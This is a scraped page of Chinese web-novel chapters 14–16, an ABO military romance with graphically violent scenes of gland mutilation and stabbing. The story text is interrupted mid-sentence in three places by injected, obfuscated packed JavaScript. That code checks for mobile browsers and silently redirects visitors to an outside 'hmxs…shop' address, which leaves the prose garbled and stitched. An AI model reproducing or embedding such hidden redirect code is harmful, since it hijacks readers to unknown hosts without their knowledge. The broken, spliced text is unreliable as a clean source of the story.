沙沅不管他,说剪就剪。先把过长的发尾沿着脖子一刀剪齐,然后捧着崔狰的脑袋像模像样地看了看。 这样可不行,沙沅噗嗤笑出声,这下真成蓝莓公主了。 沙沅继续操刀,东剪一刀,西剪一刀,想给崔狰修出一个帅气的发型,可是从没干过这种精细活的小少爷,根本把控不好修剪的尺度,崔狰一颗蓬松的脑袋,很快被他剪得凹凸不平。 沙沅把人推到镜子前,镜子里的小少年连件像样的衣服都没穿,全身都被包裹在一块巨大的浴巾之中无法动弹,一头银灰色的头发像被狗啃过,一边翘一边秃,跟从前的漂亮跋扈的蓝莓大王判若两人。 沙沅想大声嘲笑,想说崔狰你也有落到我手里,任由我捏扁搓圆的这一天,可是一张口,却哇一声哭了出来。 他哭得凶狠,哭得撕心裂肺,哭得伤心欲绝。哭得崔狰都不得不转了转紫玻璃似的眼珠子,注视着他。 沙沅仿佛受了天大的委屈,眼泪像水龙头一般哗哗往下流,任谁见了都能一眼看出,他委屈坏了,可怜坏了,要很多很多的宠爱才能哄好。 沙沅哭得有些头晕,干脆往前一倒,紧紧抱住崔狰,把鼻涕眼泪全抹在他的浴巾上,然后歇了口气,继续哭起来。 后来崔狰已经不记得沙沅到底哭了多久,只记得自己的手脚都被他勒得麻了,哭声还没有停下。他感觉心脏似乎被小刀划了一道口子,有什么憋闷在心头的东西,随着沙沅的泪水一起流出去了。 后来沙沅又跟着沙望山来过几次,有时隔了一两个月,有时隔了一两年。崔狰不会特地期盼他来,只是将头发留着,不让别人剪。沙沅来得迟,便留长些,来得早,便短些。 六年后,14岁的崔狰衣衫整洁,短发利落,平静地站在廉崇英面前,恳请他让自己离开崔宅,回到学校。 蓝莓大王与柠檬大王再次聚首,从此,形影不离。 * 崔狰推门走出沙沅的房间,被日光刺得眯了眯眼。 楼梯拐角处,阳光的阴影里,站着一个人。 崔狰走下楼梯,与那个人擦肩而过,淡淡的蜜桃甜味擦过他的发梢。崔狰的脚步停住,转身看向自己的手臂。 结实有力的小臂上,缠绕着一只葱白的手。Omega的手。 “学长,多年不见,怎么也不打声招呼。” Omega脸上挂着浅浅的笑意,栗发粉眸,清纯漂亮。 崔狰没有看他,抓起那只手从自己的小臂上拿了下去。 Omega却趁机将五指插入他的指缝,一把拉过他的手,放到鼻尖嗅了嗅。 盐水柠檬的味道。 “学长的手脏了,不知道身上脏没脏。”Omega笑意盈盈,“不如去我的房间洗干净。” 崔狰抬眸注视着他,“夏慕,放手。” 细微的尘在阳光中闪烁,像金色的雪。夏慕笑容淡去,良久,他松开了崔狰的手。 崔狰转身就走,身后,Omega的声音无悲无喜。 “学长,我早就放手了。” 崔狰脚下一顿,小臂上被夏慕碰过的地方,像细雪落下,扎入了一根细小的冰渣,疼不算疼,痒不算痒。伸手想去拔掉,却发现已经融了。 崔狰到底还是回过头去。 “他腺体上的毒会影响你,这段时间我会照顾他。” 夏慕站在楼梯上,微卷的栗色额发投下一片阴影,遮罩住那双澄澈的粉色眼眸。礼貌而疏离的声音回荡在遥遥相望的两人之间。 “多谢学长,救治我的未婚夫。” 14.他就是喜欢上他了 “啊——!!” 惨嚎声自崔狰手下响起。巨大的落地窗前,沙凯面色苍白,捂着伤口手脚并用往前爬去。崔狰轻轻甩手,沾满血的黑钢小刀飞射而出,没入他的后腰。 “噗嗤。”刀刃入肉的闷响。崔狰上前踩住他的后背,弯下身握住刀柄,慢条斯理地来回拧动,伤口处的血肉很快被锋利的刀刃绞成软烂的肉泥。 “呃啊啊啊!!”沙凯双目赤红,脖子上青筋暴起,朝地上东倒西歪的一群守卫怒吼,“都死了吗?快给老子杀了他!!!” 没有人应答。房间里像是经历过一场信息素爆炸,狂乱纷杂的Alpha信息素压得人喘不上气,喷溅了满地的血迹已经宣告了刚才一场恶战的结局。 崔狰浑身都被血水浸透,额角一道伤口一直流血,有些挡视线,他抬手随意地擦了擦,拔出黑钢小刀。 “啊!!”沙凯疼得浑身颤抖,恼怒地破口大骂,“崔狰你他妈疯了?竟敢在沙家庄园里对我动手!” 崔狰勾了勾唇角,“沙大少爷敢在沙家庄园对自己的弟弟下手,我有什么不敢的。” 沙凯冷笑:“你有什么证据是我干的?” 黑钢小刀缓缓挪到了沙凯的后颈,冰冷的刀锋激得沙凯一哆嗦。 “我动手,不需要证据。”崔狰缓缓说着,举起了小刀。 “住手!住手!”沙凯面上终于露出恐惧,“你不能这么做!崔狰,我是沙家的继承人,沙家最强的Alpha,你不能毁了我的腺体!” 崔狰眼底一片冰冷,声音却低沉轻柔,“很快就不是了。” 黑芒一闪,小刀猛地扎下! “叮!”清脆的碰撞声。有什么东西打歪了即将落下的刀锋。 崔狰面色沉冷,视线扫过地上四分五裂的红色糖渣。 是一颗草莓硬糖。 “哗啦——!”落地窗被硬糖穿透,很快碎了满地。 暗红色的翼甲缓缓降落在窗外草坪,一张熟悉的脸自打开的头盔中露了出来。 “陆霆雨?”崔狰蹙眉,“你来干什么?这里的事和你没关系。” “陆少将军!快救我!”沙凯像是见到了救星,忙冲陆霆雨大喊,“他不是你们特战部的医兵吗?他发疯伤人,快杀了他!” 陆霆雨缓步走入,从身后拔出一柄泛着暗红金属光泽的长刀,对着沙凯的后颈比了比,问崔狰:“这里?” 不等崔狰回答,也不等沙凯反应,红芒如电,在空中闪过漂亮的弧度。 一块巴掌大的软肉掉落在地上。 浓稠的鲜血从后颈处大股大股喷涌而出,沙凯面上空白一瞬,随即全身都被剧烈的疼痛袭卷,痛得他几欲晕厥。 “陆、霆、雨!!!”他面容狰狞扭曲,声音嘶哑,“我跟你无冤无仇,为什么?!” 陆霆雨想了想,“特战部食堂的食材是你们沙家供应的吧?昨天的南瓜太难吃了,下次记得换个品种。” 沙凯简直要吐血,猩红的双眼像是要把陆霆雨生吞活剥,“就为了南瓜?!” “啧啧,真丑。”陆霆雨拿长刀指了指沙凯的眼睛,问崔狰,“要不眼睛也挖了?” 崔狰伸手按下他的刀柄,“别乱来。” 陆霆雨有些可惜地放下刀,“好吧,听你的。” 沙凯怔了怔,像是突然明白了什么,嘶声笑了起来。 “原来如此,原来他是为你来的。”他盯着崔狰,眼神中满是憎恶,“崔狰,你真有手段啊,从前勾引沙沅,让他对你言听计从这么多年,去了特战部,还勾引自己的长官……哈哈哈哈,肮脏的劣兽……不,你就跟你母亲一样,是个只会勾引人的婊……啊啊啊!!!” 沙凯痛苦地捂住一只眼睛,深深的刀痕贯穿了他的眼眶,鲜血和后颈处的伤口一同喷溅,叫他整个人都变成一个血人。 陆霆雨面无表情地收回长刀,声音里没有一丝温度。 “沙大少爷,你知道联盟一等军功是什么意思吗?” 沙凯没有回答,疼痛已经彻底压垮了他。 陆霆雨弯下身,凑近他耳边,“意思就是,我杀人,不用坐牢。” 沙凯身躯抖了一下,眼皮一翻,彻底晕了过去。 陆霆雨嫌弃地踢了踢,对崔狰道:“要不干脆杀了?” 崔狰有些头疼,“不用,剩下的沙沅的人会处理。” “沙沅……”陆霆雨撇撇嘴,“你果然是为了他,他们兄弟发生什么事了?” “你连发生什么都不知道,为什么要动手?”崔狰问。 “我不动手,难道眼睁睁看着你脏了手吗?”陆霆雨板下脸来,“这里是沙家,他们报复你一个小小的医兵就像捏死一只蚂蚁那么简单。” 说起这个,陆霆雨忍不住一肚子气。 “还有,你的请假申请我批准了吗?那个沙沅就这么重要,值得你丢下工作就跑过来?”陆霆雨穿着笨重的翼甲,举着长刀,哐当哐当绕着他转了一圈,“要不是我及时发现你不见了,要不是翼甲的飞行速度够快,要不是我挡下你刚才那一刀,你……” “长官。”崔狰伸过手去,抚上他的脸颊,“这里沾到血了。” 陆霆雨脚步顿住,有些不自然地眨了下眼睛,然后把头偏到他掌心里,“哪里?” 崔狰用拇指给他擦了擦,可他手上都是血,陆霆雨脸上星星点点的血迹被拖拽成一道长长的红痕。 跟他一头火焰般的红发一样,张扬跳跃。 崔狰笑了笑,问他:“长官,你是不是喜欢我?” “哐当!” 暗红色的金属长刀掉在了地上。陆霆雨愣了两秒,慌忙弯下身去捡起来。可他的翼甲似乎不太灵活,机械手指刚捡起刀,又“啪嗒”掉在地上。 陆霆雨涨红了脸,双手抓起长刀,笨手笨脚地塞回后背的刀槽。 两手空空,陆霆雨夸张地动了动十根指头,似乎在检查翼甲的连接有没有出现问题。然后又煞有介事地抬了抬腿,像是在看脚底有没有沾上什么东西。 一时间,房间里只有翼甲关节嘎吱摩擦的忙碌声音。 等能忙的都忙完,陆霆雨偷偷抬眼,却见崔狰仍站在那里注视着他,深紫色的眼瞳里盛满浅浅的笑意。 狡猾的老男人。 心脏重重撞击胸腔,跳得陆霆雨都有些痛了。 明明是他先动心的。陆霆雨忿忿地想,明明是他费尽心思勾引自己,现在却想让自己先表白。 诡计多端的医兵。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912753|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他凭什么笃定自己已经喜欢上他了? “是又如何?”陆霆雨径直走回崔狰面前,凶狠地瞪着他,“崔狰,我就是喜欢你。” 他就是喜欢上他了。 陆霆雨不知道是从什么时候开始的。是那天在诊室里看到他后颈的咬痕,感到一瞬间的暴怒与嫉妒?还是在树林中紫色的花树下,为他的遭遇感到心疼和委屈?亦或是更早之前,随手抛来的草莓硬糖,操作翼甲时的游刃有余,令人口干舌燥的腰腹线条,甚至粗暴灌入他口鼻的浓郁信息素…… 陆霆雨分不清。他只知道自己完蛋了,彻底完蛋了。他的身体和意志都乖乖地向那个名叫崔狰的恶霸领主献上了主权,只一个浅浅的笑就能让他心如擂鼓,心悦诚服。 “我喜欢你,崔狰。” 先告白就先告白吧,总归他才是长官,崔狰一个无权无势的大龄处A,不靠他宠着又能怎么办。 陆霆雨的眼神变得柔软又认真,庄重地向心上之人许下承诺,“跟我在一起吧,我会永远保护你。” 少年的情动是一场夏夜雷雨,将崔狰淋得透彻。明亮热烈的爱意不加一丝一毫遮掩,赤裸裸剖白在他的面前。 崔狰神色温柔几分,“陆霆雨,我……” “崔少爷!崔少爷不好了!”管家焦急的喊叫由远及近而来,“二少爷的药性又上来了!” 待看清屋里的惨状,管家吓得脸色发白。 “崔少爷,不是说教训一下吗?您、您怎么把大少爷杀、杀……” “我杀的,拖出去埋了吧!”陆霆雨没好气道。来的可真是时候,崔狰正要给他表白呢! “人没死。”还是崔狰安抚了管家差点停跳的心脏,“这里你收拾一下,我去给阿沅治疗。” “治疗?沙沅怎么了?”陆霆雨警惕道,“你要怎么给他治疗?” “他的腺体出了点问题,易感期提前了。至于怎么治疗……”崔狰悠悠道,“长官不是亲自体验过吗?” “不行!”陆霆雨的脸色一瞬间黑如锅底,“你不许那样给他治疗!” 他像是突然想到什么,盯着崔狰从牙缝里挤出话来:“你不会也让他选了吧?他选的什么?口服还是注射?” 崔狰镇定道:“注射。” 趁陆霆雨彻底炸毛之前,又缓缓补上一句,“我没答应。” 陆霆雨一口气憋在喉咙里,上也不是,下也不是,令他浑身不舒坦到了极点。 “但他吃了,对吗?” 崔狰沉默一瞬,低声道:“他是我唯一的朋友,我必须救他。” “崔少爷和我们二少爷打小就最要好,别人谁来治我都不放心。”管家插嘴道。 陆霆雨的怒气像是被一根细针刺破,细密的心疼泛上来,一时盖过了其他情绪。 要是从小和崔狰一块长大的是自己,要是崔狰家出事的时候,陪在崔狰身边的是自己…… “我跟你去。”陆霆雨对崔狰说。 崔狰一时没明白,“去哪里?” “治疗沙沅。”陆霆雨嘴角挂上一抹冷笑,“他不是爱吃吗?我就让他吃。” “不过……”他凑近崔狰,贴着他的耳朵低低呼出热气,“你的药,只能在我的嘴巴里调配。” 15.第一次我吸了好久 沙家庄园一处私密的击剑馆内,气氛火热,战意高涨。出手沉稳老辣的是一位身材高大,银灰短发的青年,对手比他稍矮些,火红长发高高束起,招式凶猛狠厉,是一位张扬帅气的少年。 S级Alpha磅礴的信息素伴随凛然战意在场馆内浓郁肆虐,普通人怕是连踏入这里都会感觉到压力。眼下,他们唯一的观众显然正深受其苦。 “脆脆……”沙沅伸手捂住自己突突直跳的额头,体内叫嚣的暴躁让他眼神混沌,整个人似乎陷入失控边缘。 “阿沅!” 崔狰闪身躲过陆霆雨的攻击,直奔沙沅而来。熟悉的气味靠近,沙沅没有犹豫,闭眼跌撞进崔狰怀里,紧紧搂住。滚烫的唇熟门熟路找到后颈的腺体,贪婪地吮吸起来。 崔狰和陆霆雨打得激烈,全身的肌肉都充血肿胀着,汗水顺着发尾滴落脖颈,被沙沅尽数舔去。 战意淋漓之间,信息素的浓度高到惊人,纯净浓郁的味道灌入喉管,沙沅舒爽地喟叹一声,微微睁了睁眼。 一双浅杏色的眼睛满含怒火,正森然盯着他。 陆霆雨疾步走上前,一把拉开沙沅,“够了吧?你还想吸多久!” “陆霆雨!”崔狰声音难得严厉,“他病了,需要治疗。” 陆霆雨似乎不敢置信崔狰竟为了沙沅直呼他的名字,咬牙道:“他都治疗了多少回了?我们在这鬼地方打了好几日,他隔一会儿就要舔你的脖子,我看他根本就不是为了治疗!” 沙沅舔了舔嘴唇,虚虚倒在崔狰身上,满含歉意:“是我耽误少将军的时间了,战斗激发信息素浓度的方法虽然有效,但太辛苦少将军了,不如你先回去,脆脆留下给我治疗就好。” “休想!”陆霆雨冷笑一声,“留下他,给你口服还是注射?我奉劝二少,嘴馋就把舌头割了,不要肖想别人嘴里的食物。” 沙沅眨了眨眼睛,“别人嘴里的食物?少将军是指我从18岁第一次易感期就吃到嘴里,后来不小心被外头的野狗舔了一口的食物吗?” 陆霆雨双眸瞬间泛红,夏夜雷雨的暴烈气息赫然压顶,蓄势待发,像只被侵犯了领地的小狮子。 “行了,别逗他了。”崔狰责备地瞥了沙沅一眼,又对陆霆雨道,“少将军肯帮忙,我替沙沅谢谢你,他的状况已经好了许多,不如你先回去。” 看了看陆霆雨难看的脸色,又靠近了些,低低加了一句,“长官,听话。” 雷雨骤停,陆霆雨耳根有点发热,心里暗骂诡计多端的医兵,面色却是缓和不少。 “既然他好得差不多了,你也跟我一起回去。”陆霆雨命令,“你的请假申请我可还没批,而且……” 他眯了眯眼睛,“崔医生难道不该回去仔细和我说说,18岁第一次易感期被人吃进嘴里的事吗?” 崔狰略感头疼,却听一旁沙沅还在火上浇油。 “那时候我和脆脆刚上军校,几乎同时觉醒了信息素,很快就迎来第一次易感期。”沙沅回忆得津津有味,“我那个时候特别慌张,特别难受,不知道怎么办才好。还好脆脆的信息素特别,我只要一靠近他,就能好受许多,于是就天天抱着他睡。易感期最强烈的时候,脆脆不忍心看我这么痛苦,就大方地给我……” 他露出一个灿烂的笑,“喂药。” “那时我们都没有经验,第一次我吸了好久,吸得腮帮子都酸了才尝到药味,那个味道……” “沙沅。”崔狰轻敲了下他的脑门,“不许胡说了。” 再说下去,旁边的小狮子就要张口咬人了。 “怎么是胡说。”沙沅笑嘻嘻,丝毫不怕陆霆雨发怒,“脆脆从小到大的事情我全都知道,少将军若是好奇的话,我可以一点一点说给你听。” 陆霆雨眼神中虽然有怒火,却强自压了下去,只问:“那他呢?” 沙沅笑容淡了淡,“什么?” “崔狰第一次易感期,是怎么度过的?” 崔狰的信息素是抑制剂味的,对于其他Alpha来说,这是易感期的良药,可是这药对崔狰自己并无作用,他照样会体会到一个普通Alpha易感期所经受的一切感受。不论是心理上,还是生理上。 他又是如何排解的? 沙沅怔了怔,崔狰易感期前后总是表现得很平静,加之他令人安心的信息素,沙沅似乎从没担心过这个问题。至于易感期期间…… “医疗舱。”沙沅曾见到过崔狰进入医疗舱,他理所当然道,“脆脆易感期是去医疗舱里度过的。” 陆霆雨心下松了口气。就知道崔狰还是个大龄处A,除了心太软总是帮人治疗,被占了些便宜之外,情事方面还完全是一张白纸,连易感期都是在医疗舱里熬过去的。 “哦?学长没有找个甜美可口的Omega一起度过易感期吗?” 一道温柔的声音自三人身后传来,一并袭来的,还有一股淡淡的蜜桃甜味。 崔狰皱了皱眉,上前一步挡在来人与沙沅、陆霆雨之间。 “这里Alpha信息素太重,你不该来。” 夏慕感受到包裹在周身的纯净抑制剂味道,甜甜笑了笑,“有学长在,别的Alpha信息素影响不到我。” 沙沅自崔狰身后朝他挥了挥手,“嗨,优等生。” 夏慕也乖巧挥了挥手,“看来我的未婚夫没什么大碍了,我也就安心了。” “辛苦你特地从夏家跑过来照顾我。”沙沅感动,“不愧是联盟Alpha们的梦中情O,十二贵族之一的夏家小公子,能和你联姻是我的荣幸。” “您说笑了。”夏慕笑了笑,“不过刚才听你们说崔学长的易感期在医疗舱度过,是真的吗?” “学长在军校应该很受Omega欢迎吧?”他比崔狰矮一个头,粉色的眸子自下而上望着崔狰,“如果是我,肯定不会错过学长的第一个易感期。” 沙沅哈哈笑了两声,“你不了解,他那个信息素,Omega都避之不及,倒是更受Alpha欢迎。” “是吗?”粉眸清澈,盈盈而动,“那他们可真没有眼光。” 崔狰避过那双眼睛,对沙沅道:“叫人把他送回去。” “不必,我马上就走。”夏慕视线在崔狰红肿的后颈上扫过,径自走到陆霆雨面前行了一个贵族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925467|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,“少将军,我是来传话的。门口有一位名叫罗威的将士找您。” 陆霆雨丢给沙沅一个警告的眼神,便跟着夏慕离开了。场馆内一时陷入寂静。 “回去休息吧。”最后还是崔狰先开口。 接连几日,他和陆霆雨不断地通过战斗来激发信息素浓度,陆霆雨虽然一声都没有抱怨过,但是崔狰知道,自己和他都快到极限了。 而反复经受易感期折磨的沙沅,也快到极限了。好在,腺体中残留的药物已经清除得差不多了,以沙沅的体质,修养一段时间便可恢复。 “为什么?” 沙沅面对外人时的笑意已经彻底褪去,他定定看着崔狰,“为什么要让陆霆雨插手?明明你自己就可以给我治疗,不是吗?” S级Alpha虽然战力强大,但接连战上几日,体力和信息素都会枯竭。比起这种消耗甚大的方式,用情欲刺激信息素浓度,反而是更简单的法子。 “你那天丢下我,跑去找沙凯的麻烦,也是为了激发战意,对吗?”沙沅又问,“即便陆霆雨没来,你也不打算用那种方法继续给我治疗,对吗?” 崔狰沉默望着他,有些答案不必说出口,两人早已心知肚明。 “你第一次见陆霆雨,对着一个陌生人都能用那种方法给他治疗,为什么我不行?”沙沅莫名固执,一遍又一遍,似乎坚持要问出一个答案,“崔狰,为什么我不行?” 崔狰轻叹一声,“正因为他当时对我来说只是一个陌生人。” 他怀着目的接近陆霆雨,那种方式能让他更简单、更快地达到目的,所以崔狰根本无所谓。 可是沙沅不行。 “阿沅,那不是朋友之间该做的事。” 沙沅蹙紧眉头,“可是我们18岁的时候也做过。” “那时是我太纵容你了。”崔狰摇了摇头,“怪我,当时对这种事不太在意。” “那现在为什么又在意了?”沙沅站到他面前,盐水柠檬的味道不加掩饰地缠绕上崔狰,像可怜巴巴试探的触手。 “脆脆,是不是因为我要结婚了?” 崔狰沉默。沙沅金眸暗了暗,“是因为陆霆雨?你难道真的对他……” 带着薄茧的手指抚上他的后颈,沙沅的身体瞬间泛起一阵愉悦的战栗。崔狰在那片微微鼓起的腺体上搓揉着,指尖清晰感受到那里因为尝到他的气息而迅速发烫。 “不,因为你是我的朋友。” 唯一的朋友。 他不允许任何东西破坏这份友情。 如果欲望会破坏它,那就丢掉欲望。 如果爱情会破坏它,那就舍弃爱情。 沙沅的腺体发着烫,金色的眼眸却一点一点冷下去。 朋友。多么美好的词。 他悉心呵护的珍宝,历经二十多年的时间终于显出形状。这柄由他亲手打磨的锋利刀刃,反手插进他自己的胸膛。 场馆内凝滞的空气被急促的脚步声打破。陆霆雨面色苍白,直直奔到崔狰面前。 “跟我去碎环之丘战场!”陆霆雨嘴唇有些颤抖,“黯蚀体暴乱,我哥……受伤了!” 16.长官要尝尝吗 碎环之丘,王族遗址。 长达数百年的时间里,王族统治这片星云,将王城建在碎环之丘。据传在50年前,王室公主银安爱上了一个低贱的平民Alpha,王族震怒,将怒火倾泻于平民,命军队抓了1000名平民,割掉他们的头颅,以儆效尤。碎环之丘血流成河,民怨沸腾,十二贵族就是在此时站了出来,联合贵族与平民的战力,不惜付出惨痛的代价,终于使王族元气大伤,狼狈逃离星云。 自此,联盟成立,在赛德亚建立了新的中心城。碎环之丘荒弃,沦为黯蚀体游荡的乐园。联盟军队会定期派兵清扫此类边境战场,控制黯蚀体的数量,以防他们进入人类聚集的城市。今年也不例外。 “他是特战部的最高指挥官,联盟议会的议员,不好好呆在赛德亚,为什么会亲自带兵去碎环之丘?”陆霆雨在行军舰内暴躁地来回踱步,口中所担心之人,自然就是比他大了14岁的亲哥哥陆谊言。 “碎环之丘战场的清扫行动向来都是冯将军负责的,许是冯将军退伍了,一时找不到接替的人选,督帅阁下才亲自上阵。”罗威在一旁安慰道,“您别着急,任务没有中断,只是呼叫增援,说明督帅阁下伤得不严重。况且,我们不是带了崔医生嘛。” 罗威嘿嘿笑着看向崔狰,眼神中透出一股盲目的自信。 崔狰却是没他那么自信,“没记错的话,督帅阁下是个Beta吧?” 他在特战部最大的作用就是给Alpha们提供信息素疏导,若是对于受伤的Alpha,崔狰的信息素可以快速稳定他们暴乱的信息素,大幅提升他们的自愈能力,堪称极品良药。可是,对于连腺体都没有的Beta,他的信息素跟空气清新剂没什么区别。 罗威似乎才想到这茬,瞬间张皇失措:“对啊!崔医生只有Alpha能吸,Beta吸了也没用啊!” 崔狰勾起一抹冷笑,士兵们私底下偷偷把去他的诊室看诊称为“去吸崔医生”,罗威的带头作用功不可没。他朝陆霆雨偏了偏头,“长官,这趟出发得急,没带上勤务兵,既然罗副将闲着,不如就让他去打扫舰上的厕所。” 陆霆雨睨一眼罗威:“还不快去?” 罗威满肚委屈,感觉少将军就像被妖妃蛊惑的昏庸帝王,为博美人一笑,不惜手刃忠臣。 没了狗熊般壮实的副将,舰仓内空旷不少。陆霆雨背对着崔狰站在舰仓玻璃前,注视着外面狂沙呼啸的天空,突然开口道:“他不是。” 崔狰搅动着手里的咖啡,一时没反应过来他在说什么。片刻后,手中动作一顿,“你是说陆谊言……督帅阁下不是Beta?” “嗯。”陆霆雨低低应了一声,“你要跟我在一起,我哥的事你迟早会知道。” 崔狰没有反驳他的前半句话,只问:“可他身上并没有丝毫信息素。” 拥有腺体的Alpha和Omega对信息素的感知几乎是本能,即便对方隐藏得再好,是不是拥有信息素仍然一眼便可分辨。 陆霆雨没有立刻回答,反问崔狰:“如果这次你没有去救治沙沅,他会怎么样?” “腺体被药物毁掉,没法再产生Alpha信息素……”崔狰话语顿住,他似乎明白了。 “督帅阁下的腺体被毁了?” “他是个Alpha。”陆霆雨情绪有些低落,“那年他才15岁,被一个疯子咬伤了腺体,咬得很深,腺体虽然还在,却没法再产生信息素。” 这可真是联盟大新闻,特战部的最高指挥官,陆谊言陆督帅并非天生的Beta,而是个腺体残疾的Alpha。 “其实我早就想过,请你帮忙治疗我哥。”陆霆雨转过身,神情带了几分郑重和乞求,“他的腺体还在,如果能长期坚持做信息素疏导,说不定能够刺激腺体恢复感知。” Beta的身体无法感知信息素,Alpha却可以。不属于自身的信息素进入身体,对于Alpha来说是一件十分危险的事情,会本能激发出信息素抵抗。但若这信息素是抑制剂的味道,便会在激发信息素的同时不产生排斥。如果能用崔狰的信息素持续刺激陆谊言受伤的腺体,说不定还真能产生奇迹,叫枯萎了18年的腺体重新焕发生机。 “只需要像你平时给士兵们做信息素疏导那样,舒缓治疗就好。”陆霆雨恳求,“崔医生,请你帮我。” 崔狰没有立刻答应。想起跟陆谊言唯一一次见面,那位身居高位的督帅看他的眼神就像在看什么脏东西,高傲,嫌恶。 陆霆雨似乎也知道自己哥哥在平易近人方面实在做得不怎么样,忙替哥哥说好话:“他就是看着凶,嘴巴毒,脾气坏……呃,总之,他其实心很软。” 他凑到崔狰身边,双手握住他端着咖啡的手,语气有些可怜:“我的母亲生我的时候难产死了,父亲也在我一岁的时候病死了,我们家族衰落,除了一个贵族的头衔什么都没有。小时候我身体很弱,是我哥一边上学一边拼命打工,才把我养活的。” “崔医生,他是我唯一的家人。” 崔狰当然知道陆谊言对陆霆雨有多重要,陆霆雨身份环中的秘密文件夹,密码是陆谊言受封督帅的日子,里面的照片虽然近期多了许多崔狰的,但大多数还是与陆谊言有关。 “长官总说我诡计多端,我看长官装可怜的本事倒也不差。”崔狰伸手在那头张扬的红发上揉了揉,嘴角牵起一点弧度,“我本就是特战部的医兵,长官吩咐,我自当照做。” 陆霆雨面上绽开笑容,猛地扑上来抱住崔狰,语气中的喜悦没有丝毫遮掩:“崔狰,你真好!” 崔狰低低应了声:“嗯。” 似乎觉得这样说不够,陆霆雨用脸颊蹭了蹭他,贴到他耳边絮絮叨叨:“我们崔医生,心地善良,宽宏大量,医者仁心,妙手回春……嗯,天使下凡!” 崔狰被他逗笑,又应:“嗯。” 陆霆雨的嘴唇从他耳边一点一点往下蹭,划过弧度完美的下颌线,来到微翘的唇角。 “你喝咖啡了?” 少年清亮的声音压得很低,声带的震动通过相接的唇角传入崔狰的耳朵。 “嗯。” “好喝吗?” 灼热的气息喷洒在崔狰好看的薄唇上,抱在他腰间的手悄然环上他的脖子。 唇上的痒意让崔狰微微仰了仰头。 “长官要尝尝吗?” 陆霆雨眼前只剩一片紫色深潭,幽邃,危险,令人沉迷。 他轻轻贴上崔狰的嘴唇,温柔落下一个吻。 “要。” 紫色深潭边,毛发蓬勃张扬的小狮子低头舔水,荡起圈圈涟漪。 崔狰掌心握上一截劲瘦的腰肢,顺着对方啄吻的力道张开唇,纵容那青涩而滚烫的唇舌与他深深纠缠。 * 舰仓外的风沙逐渐昏暗,不多时,便彻底成了遮天蔽日的黑色。 “少将军,我们进入黑风沙带了,碎环之丘战场就在前方。”罗威走进来,向陆霆雨报告。 陆霆雨舔了舔红润的唇,视线仍黏在崔狰身上。 “知道了,找个合适的地方降落吧。”陆霆雨叮嘱罗威,“等会我先带一队人出舱探查,你呆在这保护崔医生。” 我吗?罗威挠了挠头,少将军是让在训练场上被崔医生单方面吊打到没脾气的我来保护崔医生吗? 崔狰懒懒靠在椅背上,手指间玩弄着一只空了的咖啡杯,“长官要去多久?” 陆霆雨咳嗽一声,努力忽视腰间被抓揉过的触感,严肃道:“很快就回来,你乖乖等我。” 崔狰放下杯子,轻轻搓了搓指尖,“好。” 罗威狐疑地左看看,右看看,总感觉少将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933392|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军和崔医生之间的气氛有些怪怪的。 怪黏糊的。 陆霆雨走后,崔狰在行军舰内无所事事,他本想帮留守的士兵们做信息素疏导,可士兵们却纷纷拒绝,只说最近信息素稳定得很,不需要疏导。 这可真是稀罕事,要知道平时这群家伙可是丁点都不会放过能接触到他的信息素的机会,冒着挨揍的风险也要把脑袋伸进他的诊室来“偷吃”一口。如今不仅主动拒绝他的信息素,还对他殷勤照顾得很,重活累活不让他干,甚至恨不得连饭都喂到他嘴边,不叫他抬一根手指。 后来崔狰才从罗威那里套出话来,是陆霆雨警告过他们,说崔医生前几日劳累过度,身体虚得厉害。 “若是把崔医生累坏了,以后可都没得吸了。”罗威重复陆霆雨的话。 崔狰严重怀疑这句话是经过罗威主观加工的,但他没有证据。 陆霆雨的原意大概是指前几日在沙沅家里接连战斗,崔狰的体力和精神力还没得到恢复,就随军直奔碎环之丘战场,怕那群精力旺盛的Alpha打扰他休息。 可是陆霆雨不也一样吗?崔狰瞥了一眼窗外肆虐的黑风沙,真正需要休息的人,此刻也许已经身披红甲,手执长刀,陷入战斗了。 像一头骄傲凶狠的小狮子,永远冲杀在敌阵的最前方。 崔狰随手点开身份环,切换到【陆霆雨】的账号,点进那个加密的文件夹。 里面的照片又多了许多张,都是关于他的。 崔狰一张张翻看,感叹这家伙不知道是什么时候偷偷拍下这么多。而且明明是他偷拍,照片描述却都十分蛮不讲理,大多都在污蔑崔狰诡计多端地勾引他。 也有个别几张拍了些不相干的东西,比如拍一对挂在星网上的宝石戒指,一枚红色,一枚紫色: -[这破石头这么贵?……紫色的像他的眼睛。] 比如拍路边一只灰白毛色的小猫: -[毛色跟他的发色一样……挺好摸的。] 诸如此类。 崔狰好笑地摇了摇头,刚要关上,手指却在划过最后一张照片时顿住。 